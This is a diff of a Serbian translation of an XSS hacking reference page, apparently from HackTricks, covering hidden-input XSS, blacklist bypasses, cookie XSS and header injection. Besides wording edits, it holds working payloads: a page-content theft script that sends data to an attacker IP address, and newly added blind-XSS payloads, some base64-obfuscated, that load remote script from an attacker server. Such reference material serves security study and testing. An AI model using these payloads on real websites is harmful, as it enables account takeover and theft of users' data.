tagovima" (skriveni unos, link, kanonski, meta) +### XSS u "neiskoristivim tagovima" (skriveni unos, link, kanonski, meta) Iz [**ovde**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **sada je moguće zloupotrebiti skrivene unose sa:** ```html @@ -422,7 +422,7 @@ onbeforetoggle="alert(2)" />
Newsletter popup
``` -Iz [**ovde**](https://portswigger.net/research/xss-in-hidden-input-fields): Možete izvršiti **XSS payload unutar skrivenog atributa**, pod uslovom da možete **ubediti** **žrtvu** da pritisne **kombinaciju tastera**. Na Firefox Windows/Linux kombinacija tastera je **ALT+SHIFT+X**, a na OS X je **CTRL+ALT+X**. Možete odrediti drugačiju kombinaciju tastera koristeći drugi taster u atributu pristupa. Evo vektora: +Sa [**ovde**](https://portswigger.net/research/xss-in-hidden-input-fields): Možete izvršiti **XSS payload unutar skrivenog atributa**, pod uslovom da možete **ubediti** **žrtvu** da pritisne **kombinaciju tastera**. Na Firefox Windows/Linux kombinacija tastera je **ALT+SHIFT+X**, a na OS X je **CTRL+ALT+X**. Možete odrediti drugačiju kombinaciju tastera koristeći drugi taster u atributu pristupa. Evo vektora: ```html ``` @@ -430,7 +430,7 @@ Iz [**ovde**](https://portswigger.net/research/xss-in-hidden-input-fields): Mož ### Obilaženje crne liste -Nekoliko trikova sa korišćenjem različitih kodiranja je već otkriveno u ovom odeljku. Vratite se **da naučite gde možete koristiti:** +Nekoliko trikova sa korišćenjem različitih kodiranja je već otkriveno u ovom odeljku. Vratite se da naučite gde možete koristiti: - **HTML kodiranje (HTML tagovi)** - **Unicode kodiranje (može biti validan JS kod):** `\u0061lert(1)` @@ -438,13 +438,13 @@ Nekoliko trikova sa korišćenjem različitih kodiranja je već otkriveno u ovom - **Hex i Oktalno kodiranje** - **data kodiranje** -**Obilaženja za HTML tagove i atribute** +**Obilaženje za HTML tagove i atribute** -Pročitajte [Obilaženja crne liste prethodnog odeljka](#blacklist-bypasses). +Pročitajte [Obilaženje crne liste iz prethodnog odeljka](#blacklist-bypasses). -**Obilaženja za JavaScript kod** +**Obilaženje za JavaScript kod** -Pročitajte [JavaScript obilaženje crne liste sledećeg odeljka](#javascript-bypass-blacklists-techniques). +Pročitajte [JavaScript obilaženje crne liste iz sledećeg odeljka](#javascript-bypass-blacklists-techniques). ### CSS-Gadgets @@ -472,11 +472,11 @@ U ovom slučaju, vaš **ulaz** će biti **reflektovan unutar JS koda** `.js` faj ### Izbegavanje \` lako možete **izbeći zatvaranje `` lako možete **izbeći zatvaranje ` ``` -Napomena da u ovom primeru **nismo čak ni zatvorili jednostavni navodnik**. To je zato što **HTML parsiranje prvo vrši pregledač**, što uključuje identifikaciju elemenata stranice, uključujući blokove skripti. Parsiranje JavaScript-a za razumevanje i izvršavanje ugrađenih skripti se vrši tek kasnije. +Napomena da u ovom primeru **nismo čak ni zatvorili jednostavni navodnik**. To je zato što **HTML parsiranje prvo vrši pregledač**, što uključuje identifikaciju elemenata stranice, uključujući blokove skripti. Parsiranje JavaScript-a da bi se razumele i izvršile ugrađene skripte se vrši tek kasnije. ### Unutar JS koda @@ -488,8 +488,8 @@ Ako se `<>` sanitizuju, još uvek možete **izbeći string** gde se vaš unos ** ``` ### Template literals \`\` -Da biste konstruisali **nizove** pored jednostrukih i dvostrukih navodnika, JS takođe prihvata **backticks** **` `` `**. Ovo je poznato kao template literals jer omogućava **ugrađivanje JS izraza** koristeći `${ ... }` sintaksu.\ -Stoga, ako primetite da se vaš unos **reflektuje** unutar JS niza koji koristi backticks, možete zloupotrebiti sintaksu `${ ... }` da izvršite **arbitrarni JS kod**: +Da biste konstruisali **stringove** pored jednostrukih i dvostrukih navodnika, JS takođe prihvata **backticks** **` `` `**. Ovo je poznato kao template literals jer omogućava **ugrađivanje JS izraza** koristeći `${ ... }` sintaksu.\ +Stoga, ako primetite da se vaš unos **reflektuje** unutar JS stringa koji koristi backticks, možete zloupotrebiti sintaksu `${ ... }` da izvršite **arbitrarni JS kod**: Ovo se može **zloupotrebiti** koristeći: ```javascript @@ -753,23 +753,23 @@ Takođe, ne zaboravite da **na kraju pomenutog posta** možete pronaći objašnj ### Cookie XSS -Ako možete da izazovete XSS slanjem payload-a unutar kolačića, ovo je obično self-XSS. Međutim, ako pronađete **ranjivi poddomen za XSS**, možete iskoristiti ovaj XSS da injektujete kolačić u celu domenu, uspevajući da izazovete cookie XSS u glavnoj domeni ili drugim poddomenima (onim ranjivim na cookie XSS). Za ovo možete koristiti napad cookie tossing: +Ako možete izazvati XSS slanjem payload-a unutar kolačića, ovo je obično self-XSS. Međutim, ako pronađete **ranjivi poddomen za XSS**, mogli biste iskoristiti ovaj XSS da injektujete kolačić u celu domenu, uspevajući da izazovete cookie XSS u glavnoj domeni ili drugim poddomenima (onim ranjivim na cookie XSS). Za ovo možete koristiti napad cookie tossing: {{#ref}} ../hacking-with-cookies/cookie-tossing.md {{#endref}} -Možete pronaći sjajnu zloupotrebu ove tehnike u [**ovom blog postu**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html). +Možete pronaći sjajan primer zloupotrebe ove tehnike u [**ovom blog postu**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html). ### Slanje vaše sesije administratoru -Možda korisnik može podeliti svoj profil sa administratorom i ako je self XSS unutar profila korisnika, a administrator mu pristupi, on će aktivirati ranjivost. +Možda korisnik može podeliti svoj profil sa administratorom i ako je self XSS unutar profila korisnika, a administrator mu pristupi, on će izazvati ranjivost. -### Odbijanje sesije +### Održivost sesije -Ako pronađete neki self XSS i web stranica ima **odbijanje sesije za administratore**, na primer, omogućavajući klijentima da traže pomoć, kako bi administrator mogao da vam pomogne, videće ono što vi vidite u svojoj sesiji, ali iz svoje sesije. +Ako pronađete neki self XSS i web stranica ima **održivost sesije za administratore**, na primer, omogućavajući klijentima da traže pomoć, kako bi administrator mogao da vam pomogne, videće ono što vi vidite u svojoj sesiji, ali iz svoje sesije. -Možete naterati **administratora da aktivira vaš self XSS** i ukrade njegove kolačiće/sesiju. +Možete naterati **administratora da izazove vaš self XSS** i ukrade njegove kolačiće/sesiju. ## Ostali Bypasses @@ -783,7 +783,7 @@ Možete proveriti da li su **reflektovane vrednosti** **unicode normalizovane** ``` ### Ruby-On-Rails bypass -Zbog **RoR masovne dodeljivanje** citati se ubacuju u HTML, a zatim se zaobilaže ograničenja citata i dodatna polja (onfocus) mogu biti dodata unutar taga.\ +Zbog **RoR masovnog dodeljivanja** citati se ubacuju u HTML, a zatim se zaobilazi ograničenje citata i dodatna polja (onfocus) mogu biti dodata unutar taga.\ Primer forme ([from this report](https://hackerone.com/reports/709336)), ako pošaljete payload: ``` contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa @@ -792,7 +792,7 @@ Par "Ključ","Vrednost" će biti vraćen ovako: ``` {" onfocus=javascript:alert('xss') autofocus a"=>"a"} ``` -Zatim će biti umetnut onfocus atribut i doći će do XSS-a. +Zatim će biti umetnut onfocus atribut i XSS se dešava. ### Posebne kombinacije ```html @@ -826,7 +826,7 @@ document['default'+'View'][`\u0061lert`](3) ``` ### XSS sa injekcijom zaglavlja u 302 odgovoru -Ako otkrijete da možete **injektovati zaglavlja u 302 Redirect odgovoru**, mogli biste pokušati da **naterate pregledač da izvrši proizvoljni JavaScript**. Ovo **nije trivijalno** jer moderni pregledači ne interpretiraju telo HTTP odgovora ako je statusni kod HTTP odgovora 302, tako da je samo payload za cross-site scripting beskoristan. +Ako otkrijete da možete **injektovati zaglavlja u 302 Redirect odgovoru**, možete pokušati da **naterate pregledač da izvrši proizvoljni JavaScript**. Ovo **nije trivijalno** jer moderni pregledači ne interpretiraju telo HTTP odgovora ako je statusni kod HTTP odgovora 302, tako da je samo payload za cross-site scripting beskoristan. U [**ovom izveštaju**](https://www.gremwell.com/firefox-xss-302) i [**ovom**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) možete pročitati kako možete testirati nekoliko protokola unutar Location zaglavlja i videti da li neki od njih omogućava pregledaču da ispita i izvrši XSS payload unutar tela.\ Poznati protokoli: `mailto://`, `//x:1/`, `ws://`, `wss://`, _prazno Location zaglavlje_, `resource://`. @@ -837,7 +837,7 @@ Ako ste u mogućnosti da naznačite **callback** koji će JavaScript **izvršiti ### Validni ` ``` @@ -932,7 +932,7 @@ U drugim pregledačima drugi **`Content-Types`** mogu se koristiti za izvršavan ### xml Content Type -Ako stranica vraća text/xml tip sadržaja, moguće je naznačiti prostor imena i izvršiti proizvoljni JS: +Ako stranica vraća text/xml tip sadržaja, moguće je naznačiti prostor imena i izvršiti proizvoljan JS: ```xml hello @@ -942,7 +942,7 @@ Ako stranica vraća text/xml tip sadržaja, moguće je naznačiti prostor imena ``` ### Posebni obrasci zamene -Kada se koristi nešto poput **`"some {{template}} data".replace("{{template}}", )`**, napadač može koristiti [**posebne zamene stringova**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement) da pokuša da zaobiđe neke zaštite: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) `` +Kada se koristi nešto poput **`"some {{template}} data".replace("{{template}}", )`**, napadač može koristiti [**posebne zamene stringova**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement) kako bi pokušao da zaobiđe neke zaštite: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) `` Na primer, u [**ovoj analizi**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), ovo je korišćeno da se **izbegne JSON string** unutar skripte i izvrši proizvoljan kod. @@ -1268,9 +1268,9 @@ Naterajte korisnika da se kreće po stranici bez izlaska iz iframe-a i ukradite ``` > [!NOTE] -> Nećete moći da pristupite kolačićima iz JavaScript-a ako je HTTPOnly zastavica postavljena u kolačiću. Ali ovde imate [neke načine da zaobiđete ovu zaštitu](../hacking-with-cookies/index.html#httponly) ako imate sreće. +> Nećete moći da pristupite kolačićima iz JavaScript-a ako je HTTPOnly oznaka postavljena u kolačiću. Ali ovde imate [neke načine da zaobiđete ovu zaštitu](../hacking-with-cookies/index.html#httponly) ako imate sreće. -### Ukradi sadržaj stranice +### Ukradite sadržaj stranice ```javascript var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8" var attacker = "http://10.10.14.8/exfil" @@ -1359,7 +1359,7 @@ console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms") }; } ``` -_Kratki vremenski intervali ukazuju na port koji odgovara_ _Dugotrajniji vremenski intervali ukazuju na to da nema odgovora._ +_Kratki vremenski intervali ukazuju na port koji odgovara_ _Duži vremenski intervali ukazuju na to da nema odgovora._ Pogledajte listu portova koji su zabranjeni u Chrome-u [**ovde**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net_util.cc) i u Firefox-u [**ovde**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist). @@ -1471,6 +1471,31 @@ Možete takođe koristiti: [https://xsshunter.com/](https://xsshunter.com)
+ + + +'"> + + +'"> + + +'"> + + +javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==")) + + +'"> + + + + + + + + +{{constructor.constructor("import('{SERVER}/script.js')")()}} ``` ### Regex - Pristup Skrivenom Sadržaju @@ -1491,13 +1516,13 @@ console.log( document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"] ) ``` -### Brute-Force Lista +### Brute-Force List {{#ref}} https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt {{#endref}} -## XSS Iskorišćavanje drugih ranjivosti +## XSS Zloupotreba drugih ranjivosti ### XSS u Markdown-u @@ -1612,5 +1637,6 @@ other-js-tricks.md - [https://github.com/ismailtasdelen/xss-payload-list](https://github.com/ismailtasdelen/xss-payload-list) - [https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec](https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec) - [https://netsec.expert/2020/02/01/xss-in-2020.html](https://netsec.expert/2020/02/01/xss-in-2020.html) +- [https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide](https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide) {{#include ../../banners/hacktricks-training.md}}